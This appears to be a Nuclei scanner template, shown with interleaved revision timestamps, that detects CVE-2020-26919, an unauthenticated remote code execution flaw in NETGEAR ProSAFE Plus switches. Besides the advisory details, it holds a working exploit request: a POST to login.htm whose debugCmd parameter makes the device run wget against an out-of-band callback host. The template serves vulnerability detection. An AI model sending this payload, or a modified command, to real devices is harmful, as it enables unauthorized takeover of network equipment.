2021-07-15 01:54:56 +00:00
id : CVE-2020-26919
info :
2021-08-29 06:39:06 +00:00
name : NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution
2021-07-15 01:54:56 +00:00
author : gy741
severity : critical
2022-05-17 09:18:12 +00:00
description : NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
2023-09-06 12:22:36 +00:00
remediation : |
Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-07-15 01:54:56 +00:00
- https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/
- https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
2022-03-29 10:33:49 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-26919
2022-05-17 09:18:12 +00:00
- https://kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-26919
2024-03-23 09:28:19 +00:00
epss-score : 0.97285
epss-percentile : 0.99849
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:o:netgear:jgs516pe_firmware:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : netgear
product : jgs516pe_firmware
tags : cve,cve2020,netgear,rce,oast,router,unauth,kev
2021-07-15 01:54:56 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-15 01:54:56 +00:00
- raw :
- |
POST /login.htm HTTP/1.1
Host : {{Hostname}}
Accept : */*
submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd=
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : interactsh_protocol # Confirms the HTTP Interaction
2021-07-15 01:54:56 +00:00
words :
- "http"
2024-03-25 11:57:16 +00:00
# digest: 4b0a00483046022100d2e91cf5797e148b54ee16ff4a7527477ceef3ac4051306dd1a029f075032ff70221009edba962cee52737ac2d8f232b2701ea2f789aefa1b7c4a87beb542aeec67bb3:922c64590222798bb761d5b6d8e72950
